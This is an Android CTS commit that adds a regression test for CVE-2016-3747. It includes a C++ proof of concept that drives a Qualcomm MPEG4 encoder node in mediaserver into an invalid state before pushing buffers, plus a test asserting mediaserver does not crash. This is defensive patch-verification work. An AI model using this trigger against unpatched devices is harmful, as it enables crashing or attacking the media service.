[RESTRICT AUTOMERGE]: CTS test for Android Security b/27903498 b/72507578

Test: successful run of newly introduced CTS test case.
Bug: 27903498
Bug: 72507578

Change-Id: I2aa35b5a893c549c46a6aebb41938a16c3c1dd84
Signed-off-by: MeBegum <mogal.begum@harman.corp-partner.google.com>
(cherry picked from commit fc5ebca5e71dad73468db3772d9cb6f01edfd939)
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index f1e2f86..56cc17b 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -74,6 +74,7 @@
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
         <option name="push" value="CVE-2014-9803->/data/local/tmp/CVE-2014-9803" />
         <option name="push" value="CVE-2016-3746->/data/local/tmp/CVE-2016-3746" />
+        <option name="push" value="CVE-2016-3747->/data/local/tmp/CVE-2016-3747" />
         <option name="push" value="CVE-2016-3818->/data/local/tmp/CVE-2016-3818" />
 
         <!-- Bulletin 2016-09 -->
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/Android.mk
new file mode 100644
index 0000000..6fae0ca0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-3747
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) \
+                    $(TOP)/frameworks/native/include/media/openmax
+
+LOCAL_SHARED_LIBRARIES := \
+        libmedia \
+        libutils \
+        libcutils \
+        libbinder \
+        libc \
+        liblog
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/poc.cpp
new file mode 100644
index 0000000..ee78460
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3747/poc.cpp
@@ -0,0 +1,156 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_TAG "CVE-2016-3747"
+
+#include <OMX_Component.h>
+#include <binder/IServiceManager.h>
+#include <binder/MemoryDealer.h>
+#include <log/log.h>
+#include <media/IMediaPlayerService.h>
+#include <media/IOMX.h>
+#include <media/OMXBuffer.h>
+#include <media/hardware/HardwareAPI.h>
+#include <utils/String16.h>
+
+using namespace android;
+
+struct DummyOMXObserver : public BnOMXObserver {
+ public:
+  DummyOMXObserver() {}
+
+  virtual void onMessages(const std::list<omx_message> &messages __unused) {}
+
+ protected:
+  virtual ~DummyOMXObserver() {}
+};
+
+bool fuzzIOMXQcomEnc() {
+  sp<IOMXNode> node;
+  int fenceFd = -1;
+  const char *name = "OMX.qcom.video.encoder.mpeg4";
+
+  OMX_PARAM_PORTDEFINITIONTYPE *params = (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
+      sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+  params->nPortIndex = 0;  // input port
+  params->format.video.nFrameHeight = 1280 * 4;
+  params->format.video.nFrameWidth = 720 * 4;
+  params->nBufferCountActual = 12;
+  params->nBufferSize = 73728;
+  params->nBufferCountMin = 0x4;
+
+  int inMemSize = params->nBufferSize * 12;
+  int outMemSize = 49152 * 4;
+  int inBufferCnt = 12;
+  int outBufferCnt = 4;
+  int inBufferSize = inMemSize / inBufferCnt;
+  int outBufferSize = outMemSize / outBufferCnt;
+
+  sp<IMemory> memory;
+  sp<IServiceManager> sm = defaultServiceManager();
+  sp<IBinder> binder = sm->getService(String16("media.player"));
+  sp<IMediaPlayerService> mediaPlayerService =
+      interface_cast<IMediaPlayerService>(binder);
+
+  if (mediaPlayerService == NULL) {
+    ALOGI("mediaPlayerService == NULL");
+    return false;
+  }
+
+  sp<IOMX> service = mediaPlayerService->getOMX();
+  if (service == NULL) {
+    ALOGI("service == NULL");
+    return false;
+  }
+
+  sp<DummyOMXObserver> observer = new DummyOMXObserver();
+  status_t err = service->allocateNode(name, observer, &node);
+  if (err != OK) {
+    ALOGI("%s node allocation fails", name);
+    return false;
+  }
+  err = node->sendCommand(OMX_CommandStateSet, 2);
+  if (err != OK) {
+    ALOGE("sendCommand is failed in OMX_StateIdle, err: %d", err);
+    node->freeNode();
+    return false;
+  }
+
+  sp<MemoryDealer> dealerIn = new MemoryDealer(inMemSize);
+  IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+  for (int i = 0; i < inBufferCnt; i++) {
+    sp<IMemory> memory = dealerIn->allocate(inBufferSize);
+    if (memory.get() == nullptr || memory->pointer() == nullptr) {
+      ALOGE("memory allocate failed for port index 0, err: %d", err);
+      node->freeNode();
+      return false;
+    }
+    OMXBuffer omxInBuf(memory);
+    err = node->useBuffer(0, omxInBuf, &inBufferId[i]);
+    ALOGI("useBuffer, port index 0, err: %d", err);
+    if (err != OK) {
+      ALOGE("useBuffer is failed for input buffer, err: %d", err);
+      node->freeNode();
+      return false;
+    }
+  }
+
+  sp<MemoryDealer> dealerOut = new MemoryDealer(outMemSize);
+  IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+  for (int i = 0; i < outBufferCnt; i++) {
+    sp<IMemory> memory = dealerOut->allocate(outBufferSize);
+    if (memory.get() == nullptr || memory->pointer() == nullptr) {
+      ALOGE("memory allocate failed for port index 1, err: %d", err);
+      node->freeNode();
+      return false;
+    }
+    OMXBuffer omxOutBuf(memory);
+    err = node->useBuffer(1, omxOutBuf, &outBufferId[i]);
+    ALOGI("useBuffer, port index 1, err: %d", err);
+    if (err != OK) {
+      ALOGE("useBuffer is failed for output buffer, err: %d", err);
+      node->freeNode();
+      return false;
+    }
+  }
+
+  // make venc in invalid state
+  err = node->sendCommand(OMX_CommandStateSet, 3);
+  ALOGI("sendCommand, err: %d", err);
+  if (err != OK) {
+    ALOGE("sendCommand is failed in OMX_StateExecuting, err: %d", err);
+    node->freeNode();
+    return false;
+  }
+
+  OMXBuffer omxInBuf(memory);
+  for (int i = 0; i < inBufferCnt; i++) {
+    err = node->emptyBuffer(inBufferId[i], omxInBuf, 0, 0, fenceFd);
+    ALOGI("emptyBuffer, err: %d", err);
+  }
+
+  OMXBuffer omxOutBuf(memory);
+  for (int i = 0; i < outBufferCnt; i++) {
+    err = node->fillBuffer(outBufferId[i], omxOutBuf, fenceFd);
+    ALOGI("fillBuffer, err: %d", err);
+  }
+  free(params);
+  err = node->freeNode();
+  ALOGI("freeNode, err: %d", err);
+  return true;
+}
+
+int main() { return fuzzIOMXQcomEnc(); }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
index 03ff589..d83160f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
@@ -42,4 +42,13 @@
     public void testPocCVE_2014_9803() throws Exception {
         AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2014-9803", getDevice(), 60);
     }
+
+    /**
+     * b/27903498
+     */
+    @SecurityTest(minPatchLevel = "2016-07")
+    public void testPocCVE_2016_3747() throws Exception {
+        getOomCatcher().setHighMemoryTest();
+        AdbUtils.runPocAssertNoCrashes("CVE-2016-3747", getDevice(), "mediaserver");
+    }
 }